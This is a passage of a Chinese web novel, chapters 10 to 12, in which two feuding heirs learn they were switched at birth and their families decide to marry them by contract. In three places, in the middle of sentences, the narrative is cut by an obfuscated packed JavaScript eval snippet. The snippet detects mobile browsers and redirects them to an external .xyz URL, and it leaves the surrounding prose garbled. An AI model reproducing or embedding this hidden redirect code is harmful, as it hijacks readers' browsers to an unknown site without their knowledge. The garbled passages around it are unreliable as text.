庄景川摆摆手:“先别着急上火,今天咱们得解决两个问题,一个是那狗仔怎么处理,我们怎么对外公布,另一个就是孩子的事,大家先畅所欲言,最后咱们再统一意见。” “狗仔那边,我建议是找他面谈,他搞这事儿肯定是为了钱,我们直接把他所谓的证据买回来就是了,让他闭嘴。”宋乾说,“还得让他跟我们签保密协议,不然我们太被动。” 晏知恩嗤笑着说:“没想到你还能说两句人话。” “人说的,当然是人话,可是乌龟没有声带,不知道在用身体的哪个部位发声。”庄家大宅中,庄乘月冷冷地说。 就在议事厅里两家激烈交换意见的时候,他非常敷衍地带晏知归在家里“参观”。 起初,他计划的是,自己踩着电动平衡车一骑绝尘地冲在前边,双手抄兜,眼里没有对手,让死对头像狗一样跟在后边溜达。 然而晏知归这个鸡贼的家伙看到停在墙角的几辆平衡车,不问自取地也踩了一辆,居然过来跟他“赛车”。 比就比吧,他好死不死地又提起了那天赛车场上的胜利,导致庄乘月复仇心切,比赛高潮迭起,家里各种家具摆件被撞得乱飞,一通鸡飞狗跳。 这会儿比累了,俩人腾出嘴来继续进行口腔体操。 晏知归双臂抱在胸前,踩着平衡车慢悠悠地向前溜,一副Bking模样,面无表情地回怼:“乌龟通过呼吸气流发声,但声音很微弱,人未必能听见,不过呢,狗倒是能听到很多低频的声音。” 他揶揄地看了庄乘月一眼:“月宝厉害。” “这是我家里人才能叫的,敢这么叫我,你死定了!”庄乘月勃然大怒。 这会儿两人游荡到了二楼的露台上,他立刻调过头,跟晏知归面对面,后退着溜远了些,接着突然加速,打算让对方尝尝碰碰车的厉害。 摔倒?月圣没在怕的,把晏乌龟当垫子就是了! 庄乘月像个狂化的哪吒一样,脚踩风火轮地向他直冲过去。 “砰”! 伴随着两辆平衡车撞击在一起的声音,眼前的晏知归骤然矮了一截,而庄乘月感觉自己腰被人搂住,双脚突然悬空—— 死对头居然及时跳了车,还把他打横抱了起来! 10. Chapter 10 此生的记忆里,庄乘月还从没被人公主抱过,第一次居然让晏知归得逞,奇耻大辱! 奇耻大辱! 他诧异地仰头,对上了晏知归一双似笑非笑的眸子。 对方不发一言,眼神里讽刺意味拉满。 庄乘月浑身像被电打了似地不舒服,立刻从他怀里挣脱开:“你有病吗?抱我干什么?!” “我这叫紧急避险,还避免你摔在地上,难道你不该谢谢我?”晏知归双手抄进裤袋,摆出一副优雅的姿态。 “我谢你个鬼,你这只乌龟坏得很!” 突袭失败,庄乘月有些沮丧,胸口憋着的情绪没能发泄出去,反而让他突然觉得累了,气呼呼地在旁边的藤编摇椅上坐下,躺在上边不爽地摇来摇去。 外边淅淅沥沥的秋雨又下了起来,露台上空气清新,是个休息的好去处,晏知归便寻了他旁边另一把摇椅,舒舒服服地靠着,泰山石似地一动不动。 庄园里夜间有一些景观灯,映照着被精心打造出来的花草树木,细密斜织着的雨雾在光线下无所遁形,像是空中漂浮着一面巨大的、五颜六色的纱帘。 两人一时间都没说话,气氛很难得地显得安宁祥和。 但庄乘月觉得心里堵得厉害,眼下没有家人在身边,他仰天长叹,直抒胸臆:“搞什么啊,我们两家关系这么差,怎么会发生这种事,这不是硬把看不顺眼的人往一起凑吗?” “这种莫名其妙的敌视其实很无聊。”晏知归看着空气中的雨幕,淡然地说。 “哪里莫名其妙?不说我爷爷和你爷爷的历史遗留问题,就单说你,”庄乘月偏头看他,“你不记得你对我大姐夫还有二姐做的那些事了?认回来之后,你打算怎么面对他们?” 晏知归悠闲地翘着二郎腿:“等我帮他们做成一两单生意,相信这帐就可以一笔勾销。”他转过头,脸上挂着调侃的笑意,“倒是你,抢大哥女伴,抢二哥喜欢的马驹,这么赤.裸.裸的强盗行为,有合理的借口吗?” 庄乘月的表情顿时不爽起来,瞪着他释放威压:“我当然有我的原因!” “说来听听?” “你让我说我就说?” “没带就是没写,同理,不说就是没有。”晏知归慢悠悠地说,“我的那些都是公事,你伤的可是感情,二者有本质的区别,明白吗?” 庄乘月咬牙切齿地看着他。 顶灯的死亡光线从上边打下来,丝毫没有影响死对头那张轮廓分明的俊脸,倒是把他的脸衬得更加立体。 深深的眼窝让他橄榄型的眼睛显得愈发深邃,尖尖的内外眼角被眼中噙着的一抹揶揄浸染,像被淬炼过的尖刀,此刻看起来十分扎人。 庄乘月突然想起来,好像小舅就是这样的眼型,以前没注意,现在越看越像。 相比之下,自己跟大姐二姐还有爸妈舅舅都没什么明显的相像之处。 晏知归果然是妈妈的孩子。 就算妈妈对自己的感情不会变,可他们总会慢慢接受亲生儿子,自己这个被抱错的,出于礼貌也得靠边站。 又争又抢的话,搞不好会被认为有心机。 庄乘月不希望家人对自己的爱减少,也不想自己在跟他们相处的时候变得不再像以前那样理直气壮,更不想将来的某一天,会因为什么事被他们误解,他最珍惜的亲情变了质。 想到这些,他神情黯然,一向有神的猫儿眼都失去了神采。 “无所谓。”庄乘月破罐子破摔地说,“我就是我,是颜色不一样的烟火,才不管晏家人会不会喜欢我。” 同为天涯沦落人,晏知归完全能get死对头的想法,即便自己的家庭氛围不像庄家这样亲亲贴贴抱抱,但那也是他从小长大的地方,他虽不爱表达,但心里也是有感情的。 所谓亲人,可能就是熟悉至极、让人既讨厌又眷恋着的一帮人吧。 不知道将来他和庄乘月会如何回到彼此正确的轨道上,两家是否又会因为这次乌龙事件而改善关系。 今晚他们会讨论出什么结果呢?还挺令人期待的。 难以想象啊,和平相处的庄晏两家。 “小时候其实我们相处得还行,你记得吗?”晏知归望着前方花园里的梧桐树,语调轻缓,“我妈去世后我很难过,第一个安慰我的人,是你。” 庄乘月表情瞬间迷茫:“我还干过这二百五的事?” “你不记得了?” “毫无印象,是不是你编的?”庄乘月眯起眼,“当面造谣是吧?” 晏知归抱起双臂,轻轻摇起了摇椅,脸上挂起淡淡笑意:“你的精神状态太超前,我可编不出你会做的事。” “我干什么了?” “跳舞给我看。” 庄乘月:“……” 虽说起因有些可疑,但这行动,倒是符合自己的人设。 从幼儿园入学起,庄乘月和晏知归只是在家庭氛围的影响下彼此针对,但当时并不懂得太多爱恨情仇,心思都很简单。 洛远玉去世的时候,小知归才十岁,刚上四年级,在家被勒令不许哭,他生生忍住了。 可上学的车里再也没有了妈妈,只剩司机和他,这种落差太强烈,他实在没能忍住,下车一进校门就开始掉眼泪。 不想被同学和老师们注意,他一拐弯去了学校花园,躲在假山洞里偷偷哭。 小乘月在他身后下车,一路尾随,还在想路上搞个恶作剧,谁知道死对头居然半路变了道。 这肯定有问题!必须跟上去抓现行! 小乘月跟踪到了假山,听到了明显的啜泣声,立刻意识到不对劲。 晏知归妈妈去世的事他是听说了的,想到自己和妈妈之间的亲密,他不由自主地对死对头生出了一点恻隐之心。 安慰是没办法安慰的,平日里针锋相对,要他去跟死对头说好话,除非太阳从西边出来! 但这并难不倒小乘月,他可是家里人的开心果,哄人属于个人特长。 他故意溜达到了假山洞口附近,嘴里念念有词,跳起了骑马舞。 多余的词不会,就只记得那两句:“欧巴刚南style,刚南style!” 假山石地面凹凸不平,他脚底下一滑,“咣叽”摔了个屁股蹲儿,夸张地“哎哟”了一声。 成功把挂着泪花的小知归逗笑了。 记忆回归的庄乘月羞愤难当,当即起身扑过去掐住对方的脖子:“你给我忘了!忘了!不然我一定把你灭口!” “你做事动机实在难以揣测,我当时是真没看懂你在干什么,后来排除了所有不可能的答案之后,才确定你就是在安慰我。”想起往事,晏知归还有些忍俊不禁。 庄乘月气急败坏:“我那是早餐吃多了去散步,觉得活动活动消化得更快一点,谁知道你躲在那里头偷看!偷窥狂,禁止你再散布谣言!” 说得很热闹,但晏知归突然意识到,现在是庄乘月失去了亲生母亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848984|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算没什么感情,可连培养感情的机会都没有了。 自己好像,不该提起这件事。 于是他一反往日习惯性地对抗,勾着唇角轻轻点了一下头:“嗯。” 庄乘月对他这态度有些意外,松开了手,坐回旁边的藤椅,浅浅复盘了一下,突然明白死对头为什么突然开始做人。 洛远玉他是见过的,依稀记得她虽然不太爱笑,但很温柔,会笑着给他小零食吃。 今天情况特殊,他决定暂时放下对晏知归的敌意,欲盖弥彰地清了清嗓子:“洛伯母,我的……亲妈,她是个什么样的人?” “是世界上最好的妈妈。”晏知归声音很轻,却很笃定地说。 这一晚,议事厅里的庄晏两家人争论不休,几乎大打出手,手边能拿到的一切小物件都成了彼此攻击的武器,便签本、钢笔、各种水果、点心,时不时在空中飞来飞去。 随着时光流逝,这些西装革履、落落大方的豪门大佬们,从精神抖擞、口若悬河逐渐变得口干舌燥、疲惫不堪,衬衫领口全部松开,贵价领带都被揉成一团,就连女士们都散开头发,脱掉鞋子,只穿袜子踩在地毯上,放松已经开始浮肿的脚掌。 唯有老太太柴芷青和老爷子庄景川依旧保持着端庄大方的姿态,堪称老当益壮。 另一边,庄乘月和晏知归临时决定友好相处,分享着亲人们轶事的同时,跑去台球室切磋了技艺、打迷你高尔夫比试了高低,甚至还打了会儿乒乓球。 打探会议进展无果后,两人跑到庄乘月的卧室外间,坐在懒人沙发上打游戏,不知不觉地睡了过去。 晏知归悠悠醒转的时候,发现天色已经蒙蒙亮,掏出手机一看,已经是早上七点多。 自己靠在一只豆袋上,脚上还穿着一双可笑的柴犬毛绒拖鞋。 目光投向旁边,看见庄乘月穿着T恤和运动裤团成一团,缩在另一只豆袋里睡得正香,好像一只慵懒的猫。 于是他不失时机地举起手机,准备把这一幕拍下来。 但猫是很警觉的生物,被拍的瞬间就睁开了眼睛,扑过去抢夺手机:“好你个偷窥狂,敢偷拍我丑照!给我删了!” 晏知归本能闪躲,两人扭打在一起,可他手指还按在快门上,听到手机唰唰唰唰地不知道拍了多少张。 “很好,这下我手机里全是你的丑照,我手机脏了。”他不客气地说。 “小月,你醒了吗?”门被敲响,外边传来了孙阿姨的声音,“老爷子叫你们下去。” 庄乘月猛地一激灵,立刻把晏知归推开,趿拉上拖鞋就往外冲。 一定是讨论出结果了,先到先得! 晏知归当然不甘落后,也跟着他冲了出去。 两人一起挤进了电梯,在下行的过程中,昨夜的临时友好瞬间消失,彼此不爽地瞪了一眼。 不管是原样不变还是各回各家,两家世仇的关系肯定不可能一笔勾销,死对头还是死对头! “妈妈!”庄乘月顶着鸡窝头跑进了议事厅,看着全员黑眼圈的两家人,迫不及待地问,“你们打算怎么办?” 晏知归同样一路小跑,但在进门的时候保持了体面——也没多体面,毕竟衬衫被揉出了不少褶,脚上还穿着柴犬拖鞋,平日里梳成大人模样的头发也变成了顺毛。 “小月,小晏。”憔悴的乔轻云站起身,迎着两个青年满脸的期待,犹犹豫豫地说,“目前最好的方案是,你们俩协议结婚。” 11. Chapter 11 “什么?!”庄乘月和晏知归异口同声地问,两脸不可置信。 阮美兰幸灾乐祸地说:“两家联姻,你们俩协议结婚。”说罢嘟囔了一句,“妈呀我这嘴真的是开过光。” 庄乘月觉得自己可能还没睡醒,正在梦游,抬手去拧身边的晏知归。 恰好晏知归正有此意,俩人互相掐了掐手臂,同时感觉到了疼。 接着再度不约而同地开口: “你们疯了吗?” “我们是直男!” “我不同意!” 三句话连字都不带差的。 “啧啧啧,看不出来你俩这么有默契。”晏知遇阴阳怪气地说。 庄乘月拉住乔轻云的手,撒娇地一跺脚:“妈妈!为什么会这样?我不和他结婚!” “乖宝,听妈妈说,我们讨论了一晚上,觉得这个方案算是最合适的。”乔轻云心疼地摸了摸他的脸,“抱错孩子这事儿不好轻易公布,毕竟你和小晏,名下都有我们两家各自的股票、房产还有公司,这些资产怎么算还得费一番工夫,没处理好之前就被外界知道,如果股民对我们的预期不好,确实会影响股价。” 庄新远耐心补充:“如果让你们签署转让书,就像把爸爸妈妈给你们的东西拿回来似的,我们不忍心,看起来也太凉薄,而且太麻烦了。” “现在尴尬的是,自己养了二十三年的孩子很难割舍,对于另一个,又很难一下子产生亲情。”庄苡然觑了晏知归一眼,尽可能温声说,“你们组成小家庭,和我们双方常走动,至少有一个熟悉的孩子在,大家容易热络起来。” 庄苡歆拉起庄乘月的另一只手,亲切又温柔哄着:“月宝,协议结婚之前,双方进行财产公正,并签署婚前协议,大家互相都不占对方便宜,公布出去也是个喜讯,业界还有股东肯定乐见两家合作。两年协议期,算是给我们所有人一个过渡,到时候大家都熟悉了,等于各家都多了个儿子,你们再协议离婚就是。” “小月,小晏,我们也知道这样对你们来说太突然,但实在没什么更好的办法,委屈你们了。”庄景川语气也很无奈,神情慈祥温和。 柴芷青却很不认同,表情冷淡地说:“这算什么委屈?虽然不是亲生的,但家里人把他们养这么大,付出了多少心血?!只是协议结婚两年而已,又不需要他们多做什么,这点事都不能为家里分担?!” “我们两家会给你们提供一处合适的住宅,为了向外界证明联姻的可信度,还会以你们的名义成立一家公司,主营业务做什么由你们自行决定,这个条件已经非常优渥,对你们来说很好,你们没有理由不同意。”晏宇安摆出一副父亲的架子,看着晏知归说,目光里隐隐充满威压。 起初自家父母还有姐姐们说的话挺入情入理,庄乘月能理解,但听到晏家这两位长辈一开口,他的逆反心理“嗖”地就窜起来了。 “哇哦!所以你们养孩子的目的是什么?等着收债是吗?孩子生下来就欠你们的吗?条件好不好,不是应该考虑我们自己的感受吗?!” 他才不管面前这两个是自己的亲生父亲和奶奶,直言回怼:“我们两个是活生生的人,拜你们所赐互相非常看不惯,被抱错又不是我们的问题,凭什么要委屈自己跟讨厌的人住在同一屋檐下?” “协议联姻你们说得容易,还不得我们俩对外假装恩爱假装亲密?抱歉我不是演员不会演戏,你们要不要先给我们请两个表演老师来,帮我们练一练呐?!” 他这一通输出全都冲着晏家人,说着说着把自己给说委屈了,眼圈泛红,忍着不让自己掉眼泪。 但乔轻云看他反应这样强烈,本来就熬了一夜的精神更加脆弱,泪水已经顺着眼角流了出来。 “妈妈,我不联这个姻!我就不!”庄乘月抱着她,嘤嘤嘤地闹,“我不喜欢的男的!我更不喜欢晏知归!凭什么要我和他协议!” 柴芷青铁青着脸看向庄景川:“你们家就是这么教孩子的?看看都惯成什么样了!” “就是!这也太任性了,不就是个协议联姻嘛,至于闹成这样?”阮美兰不怀好意地火上浇油,“这要是将来真回了我们家,还不得把家里闹翻天?” 晏知恩挖苦道:“我就说他俩不愿意吧!可惜了我们在这里煞费苦心想了一晚上,想出个对大家都好的解决办法,现在倒显得是我们不做人了。” “闭嘴吧你!”庄苡歆反唇相讥,“我们庄家向来不讲联姻那一套,现在委屈我们小月,我还心疼呢!把人家婚姻给包办了,还不许人有情绪?你们胸口长的是肉还是石头?!” 庄乘月这一夜虽然睡了,但睡得不多,刚醒就被这个重磅炸弹给捶了个倒仰,情绪非常奔放,原本要誓死捍卫自己的婚姻自由,慷慨激昂得像被红星照耀去战斗的潘东子。 现在听二姐这么维护自己,又有些不忍心。 爸爸妈妈姐姐们对他那么好,从小到大没让他受过半点委屈,要是被欺负了全家人都会替他出头,为了家人联姻什么的,其实真没所谓。 反正自己也没喜欢的人,而且两年时间转眼就过了。 如果对象不是晏知归的话,他完全可以一口答应下来。 谁知道偏偏就是这个该死的晏乌龟! 呵,昨晚居然还看他有点顺眼,那时候我一定是瞎了。 想到这里,庄乘月回头捣了晏知归一肘子:“你说句话啊!” 两个人的仗,凭什么让我一个人打?! 晏知归方才一直保持沉默,庄乘月这一句话,令所有人都把目光投向了他。 尤其是晏宇安和柴芷青。 父亲和奶奶的目光犹如千钧重担,实在是…… 不想再看见了。 他抬手向后耙了耙头发,把顺毛捋回了大人模样,一秒挂上霸总面具,微微勾了勾唇角,镇定地说:“我接受。” 庄乘月:“!!” “你几个意思?!刚才不是还说不同意吗?几句话就接受了,你有没有骨气?!”他揪住晏知归的领子怒道,“婚姻大事怎么能这么随便?!先前你不是还为了避免联姻,在直播的时候说自己是什么不婚主义吗?!不怕脸被打得啪啪响?!现在出尔反尔,是不是故意玩我?!” 关键是,这臭乌龟一把抽了梯子,自己要是顽抗到底,岂不成了千古罪人?! 晏知归抓住他的手肘,将他猛地拉到身前,在他耳边轻声道:“胳膊拧不过大腿,顽抗到底没有任何好处。” 另一只手顺势捏住他的手腕,逼他松开了抓着自己衣服的手,再将他轻轻推开。 庄乘月瞠目结舌,简直想给他挠个满脸花! 太阴险了,拿我当对照组是吧?! “还是知归懂事,能识大体顾大局。”果然,晏宇安满意地开了口,脸上挂着刚在教育大赛里拔得头筹的得意神色,“我看今天就这样吧,你们再做做乘月的思想工作,我们先回去了。” 晏家人呼呼啦啦地往议事厅大门口走去,晏知归整了整自己的衣领,看了庄乘月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848985|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,转身跟上。 电光石火间,庄乘月突然想通了什么,伸出尔康手:“慢着!” 走到门口的众人停下脚步,回头看他。 “不用做什么思想工作,别为难我家里人。”他大声道,“不就是协议联姻嘛,我同意!” 乔轻云心疼地喊了一声:“宝宝!” “没事的妈妈,我想开了。”庄乘月一手揽着她的肩膀,白皙的小脸上露出了狡猾的笑容,与人群中的晏知归对上目光,“这么玩是吧?那我也不介意在接下来的两年里找点乐子。” 不是怕我在你们家闹翻天吗?那就让你们感受一下什么叫大闹天宫! 晏知归右手并起两指,在额角一挥,向他行了一个看起来潇洒、实为挑衅的礼。 等他们走了之后,庄老爷子走过来拉住了庄乘月的手,他熬了一宿的眼睛也泛着红,一下子没克制住情绪,里边闪烁着泪光:“小月,委屈你了。” “爷爷!”庄乘月抱住他,“不委屈的,我刚才就是演给他们看,主要就是太讨厌他们家了,一时间感情上接受不了,但想想也没什么,晏乌龟不是还在念国外的一个什么学位吗?整天国内国外两头跑,我见他的机会也不多。” 说是这么说,他心里其实还是挺憋屈的。 而且突然间有了那么一点点害怕。 二十三年来他从未怀疑过家人对自己的爱,现在当然也不怀疑,只是怕从此会有所改变。 “我永远会听爷爷爸爸妈妈还有姐姐们的话,只要你们开心,我们就开心。”这话是笑着说的,说完后却垂下睫毛,两颗大大的泪珠滴在了爷爷肩膀上。 庄苡然立刻抱了过来:“我们也不怎么开心,谁愿意看见晏家那群人,看着就讨厌。” “就是就是!”庄苡歆张开双臂搂住他们三个,“全天下还是我们月宝最好,我可舍不得还给他们!” 乔轻云抱住两个女儿,跟庄乘月面对面,眼泪哗哗流:“宝宝,晏家人要是敢欺负你,立刻就回家,再也不见他们!” “哈哈,能欺负到我的人还没出生呢!”庄乘月艰难伸出手摸摸她的脸,“妈妈不要担心。”接着向一旁的庄新远招招手,“爸爸快来,团团抱!” 庄新远向来梳得整齐的霸总分头经过这一夜折磨,也已经有不少发丝散落下来,略显憔悴,他走上前将他们抱住,眼角绽放些许鱼尾纹:“不管怎么样,我们永远都是一家人。” “看这里看这里!”宋乾掏出手机调好摄像头对准他们,“茄子——” 庄老爷子垂着眼没看镜头,庄苡然恼火地瞪着自己这个缺心眼的丈夫,庄苡歆冲着镜头翻了个白眼,乔轻云哭得根本笑不出来,庄新远轻抚着妻子的头发。 只有庄乘月对着镜头,露出了灿烂的笑容,唇角的梨涡看上去那样甜。 晏家人走到入户门厅处等司机开车过来,晏知归等着家里保姆替他去取落在庄乘月房间里的鞋子,疲惫的一家人坐在门厅的沙发椅上,谁都没有说话。 “知归,刚才你表现得很好,是个有担当的男人。”晏宇安突然发话,拍了拍他的肩膀,“虽然抱错是既成事实,但你依旧是晏家出色的孩子。就算家里人会试着去接受乘月,但也不会把你当做外人,这一点你不必担心。” 亲子鉴定结果出来到现在,这是他说的唯一一句柔软的话。 晏知归莞尔一笑:“怎么会,我从没担心过。爸,奶奶,你们放心,我会当好桥梁,帮助乘月顺利融入我们家的。” 12. Chapter 12 第二天,按照约定,晏家旗下的私立医院有团队上门,为庄乘月、乔轻云和庄新远采集了DNA样本,准备跟晏知归和晏宇安那边做交叉对比。 原本庄乘月还想,这次结果要是有问题,说不定上次鉴定也不对,晏知归是不是被抱错的他不管,反正自己就是爸爸妈妈的孩子。 然而天公不作美,这组团队专事专办,很快就出了结果,板上钉钉的抱错了孩子。 悬着的心终于死了。 与此同时,逐月传媒进一步跟那爆料狗仔接触,副总向薇通过平台传话,希望能将他约出来面谈。 狗仔显然等着这一步,但面谈是没答应,只答应网上交流。 又一个秋雨绵绵的夜晚,三方在会议软件上见了面。 那狗仔行事非常谨慎,仍旧不肯露面,只开了话筒,甚至用了变声器,是一个比较可笑的小孩声音。 庄家这边,向薇代为发言,晏家那边出面的是集团律师。 这次的会谈没别的,就是要听听那狗仔手里的录音到底说的什么。 狗仔也很有诚意,很快就播放了音频。 庄家人围坐在书房里,支棱着耳朵倾听。 外接音箱里传来了一个苍老的声音:“他们把我家老樊害得那么惨,我一直咽不下这口气,想报复,又找不到机会,谁知那么恰好,这两家的儿媳妇都在我们医院生孩子,两个小孩还是同一天出生,那天,我一时血涌上头,支开了新生儿室的同事,把两个孩子调换了,我就是不想让姓庄的和姓晏的两家好过……” 事情并不复杂,根据这位叫郑美珍的老人的陈述,是当年她的丈夫樊志华受了工伤,失去劳动能力,钢铁厂按照规定对他予以补偿,但她认为厂子应该负担起更多的责任,不应该只是赔钱了事。 不管她怎么找厂子去理论,都没人理会她,还因为她闹事将她赶走。卓英钢铁厂发展成了卓英集团,她还在为这件事奔走,依旧无果。 后来庄景川和晏少禹闹翻,集团拆分成两半,她找哪边都没人再为此事负责,只能含恨作罢。 事情过去十几年,却赶巧让她找到了机会,得知庄家和晏家现在变成了仇人,她一时冲动,调换了两个孩子。 这种报复方式肯定是时间越久效果越好,于是她三缄其口,把秘密守了二十三年,在临死前才找了个人公布于众。 庄乘月坐在一边,神情木然地听着,经过前边的一连串打击,他现在人都麻了,任何事都不会在让他的心底有半点涟漪。 当时的康悦私立医院早就换了几个老板,这位郑女士也已经去世,根本没办法追责。 就算追责也改变不了既成事实,作为当事人的自己,只能接受现在的结果。 兜里手机一震,是曹怀周发来的消息。 【大呲花】:我的乘哥,你消失好多天了,发消息也不理人,敢告诉我你现在在哪儿闭关么? 被抱错的这件事,家里人说了暂时不要对外透露,庄乘月连发小都没说。 主要也是没心情。 至于即将跟晏知归联姻这种丢人现眼的事,他更是张不开嘴。 感觉联姻官宣那一天,就是他月圣一世英名丧尽之时! 大英雄黯然落泪。 【月圣】:在家陪我爸妈还有爷爷呢。 【大呲花】:知道你是个大孝子,但怎么突然这么孝,家里没什么事吧?我听程昊说你请了假连学校都没去。 【月圣】:放心吧,都好着呢。 【大呲花】:你这几天没上moon,粉丝找人都找到我这儿了,还有不少人在讨论抱错的事儿,家里是没压么? 【月圣】:压过了,但不可能压到每个人嘴上,没有办法。「月亮叹气.jpg」 【大呲花】:不会吧?就这么不管了? 【月圣】:有下一个爆炸新闻出来就好了。 【大呲花】:倒也是,希望快点,一天到晚看见你跟那只晏乌龟的照片被挂在热搜挺难受的。 庄乘月心想,你猜怎么着,很快就有更让你难受的了。 【大呲花】:没事儿就好,有空的话上上直播,安慰一下你的粉丝吧。 【月圣】:你现在语气像极了一个经纪人。 【大呲花】:谢夸,我要把这条转给我妈妈,告诉她我长大了。 【月圣】:「月亮扶额.jpg」 【大呲花】:先不和你聊了,等你复出。 【月圣】:跪安吧。「月亮亲亲.jpg」 app提醒栏上还有99+的数字提醒,庄乘月一个都不想点开,只觉得身心俱疲。 还没等锁屏,有一个黑乎乎的头像冲到了最前边,手机震了一下。 讲真,庄乘月一直搞不明白晏知归这团黑雾似的头像是什么意思,只当他在装逼。 【晏乌龟】:一会儿有空吗? 【兰花螳螂】:有何贵干?「月亮亲亲.jpg」 (对方撤回了一条信息) 【兰花螳螂】:「月亮警惕.jpg」 【晏乌龟】:你撤回了什么见不得人的东西? 【兰花螳螂】:你不配看到的东西。 【晏乌龟】:那这个我配看吗?「图片*1」 庄乘月点开照片,是那天早上他缩在豆袋沙发里睡觉时被拍的,但不是恬静的酣睡照,而是被拍那一刻他突然睁眼,眼睛瞪得像铜铃的模样。 略显不雅。 (对方撤回了一条信息。) 庄乘月:…… 【晏乌龟】:还有这个。「图片*1」 这张是相册截图,是两人扭打在一起之后,误触相机拍下的一系列照片,好巧不巧全是庄乘月的脸……的组成部分。 眼睛、鼻子、嘴、牙,乌漆嘛黑又糊成一团,跟蒙克的《呐喊》有一拼。 非常抽象,非常丑。 (对方撤回了一条信息) 庄乘月:!! 【兰花螳螂】:晏乌龟,劳资蜀道山,你把照片给我删了! 【晏乌龟】:出来见一面。 【兰花螳螂】:不见,我怕睡前见你晚上做噩梦。 【晏乌龟】:我也怕,但就当脱敏训练了。 【晏乌龟】:有事需要跟你当面讨论。如果被人看见的话,可以为将来联姻官宣做铺垫,更具有说服力。 【兰花螳螂】:你好心机啊!这就开始演上了?! 话虽如此,这电话“会议”他听着也有点烦躁,不如出去透透气。 再顺便修理一下乌龟,放松心情。 爸妈还有姐姐们都在仔细听录音,指挥向薇跟狗仔交涉,庄乘月悄悄溜出了书房。 外边的雨已经停了,空气凉凉的十分清爽,他深深吸了口新鲜空气,开车赶赴了晏知归的指定地点。 尽管各家豪门都有自己的会所,但有时候在外边玩更自在,也能看见一些新鲜面孔,想故意制造点新闻的就更要去公共场所,保证不让狗仔们错过。 估计是为了预热联姻的事,晏知归指定的就是这样一处高级酒吧。 圈内的太子太女们庄乘月几乎都打过交道,自从进门就不停地跟人打招呼,活像一朵交际花。 他在地形结构复杂的酒吧里找来找去都没看见乌龟影子,才有侍应生过来带路,把他带到了晏知归的位置。 那是一个夹角,位置隐蔽但视野开阔,很难被别人发现,却能够眼观六路地看清楚周围的动向。 “怎么选这里?你是杀手还是逃犯?有问题事先说清楚,别拖累我。” 庄乘月在半圆形沙发的另一端坐下,与他保持尽可能远的距离。 晏知归手里端着杯酒,翘着二郎腿靠着沙发靠背,帅脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848986|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被阴暗的灯光映得有一些迷离:“方便看见螳螂什么时候出现,时刻准备防御。” 庄乘月今天穿的是银白色短款连帽夹克和黑色休闲长裤,显得一双腿又直又长,短发被简单地打理过,看起来很自然,亚麻发色很提气质,衬得他本就白皙的皮肤在暗光中泛着象牙的光泽。 一双猫儿眼左顾右盼,极为灵动,看上去眉清目秀,自带一种鹤立鸡群的出挑,抿着嘴唇不太高兴的样子看起来很有趣,让人忍不住想逗弄他。 方才他在这里经过几次,晏知归故意没出声,暗中观察了片刻。 死对头确实形象好气质佳,颇具观赏价值。 兰花螳螂这个外号庄乘月并不陌生,他单方面把它当成夸奖。 毕竟那小昆虫确实貌美。 “你知道吗?”他往前倾了倾身体,隔着一米多远对晏知归眨了眨一只眼,狡黠地说,“螳螂在新婚之夜会吃掉配偶,小心哦。” 晏知归轻轻笑了笑,也向前倾身,把手里的杯子放在茶几上:“你这知识点是从《黑猫警长》里看来的吗?吃掉配偶的是雌螳螂,所以你是已经给自己找好定位了?” “管它雌雄上下,我只做胜利的那一个。”庄乘月才不会轻易走入自证陷阱。 晏知归不以为意,继续道:“螳螂食夫多在□□的时候,怎么,你觊觎我到这个地步了?” “龟龟,你自信得好抽象。”庄乘月揶揄地说。 但平心而论,死对头外形条件确实不错。 今天没穿西装外套,但也是衬衫西裤,套在脖子上的领带已经被拽松了,有一种松弛又浪荡的性感feel。 袖子卷到手肘,就算在阴暗的灯光下,也能看得出小臂流畅的肌肉走向,大臂被包在袖管中,隐约可见隆起的肌肉轮廓。 腰窄而韧,看得出很有一把子力气,腿嘛,现在黑黢黢的看不清楚,但庄乘月依稀记得,高中时候看过他的重剑比赛。 穿上击剑服的死对头,腿长逆天,大腿结实有力,腰臀比堪称完美。 隔了这么多年,此人发育得更好了,身材没得挑,去头可食。 可惜食之有毒。 虽然庄乘月年纪轻轻就被迫要跟死对头协议联姻,但他还不想死。 晏知归收敛了笑容,表情变得正经:“两家长辈不方便事无巨细地和我们聊,我找你来,是希望我们能提前沟通一下联姻后的相处细节。” “对齐颗粒度是吧?不用说你的行业黑话。”庄乘月了然。 圈内联姻不在少数,具体细节又各不相同。 有真做夫妻的,毕竟人都有需求,既然领了证合了法,互相又看得对眼,热切肢体交流一番令彼此愉悦也合情合理; 也有两边在外头各自有心上人的,婚内不便过分亲密,便商量好尺度,关系混得熟了还能彼此打掩护; 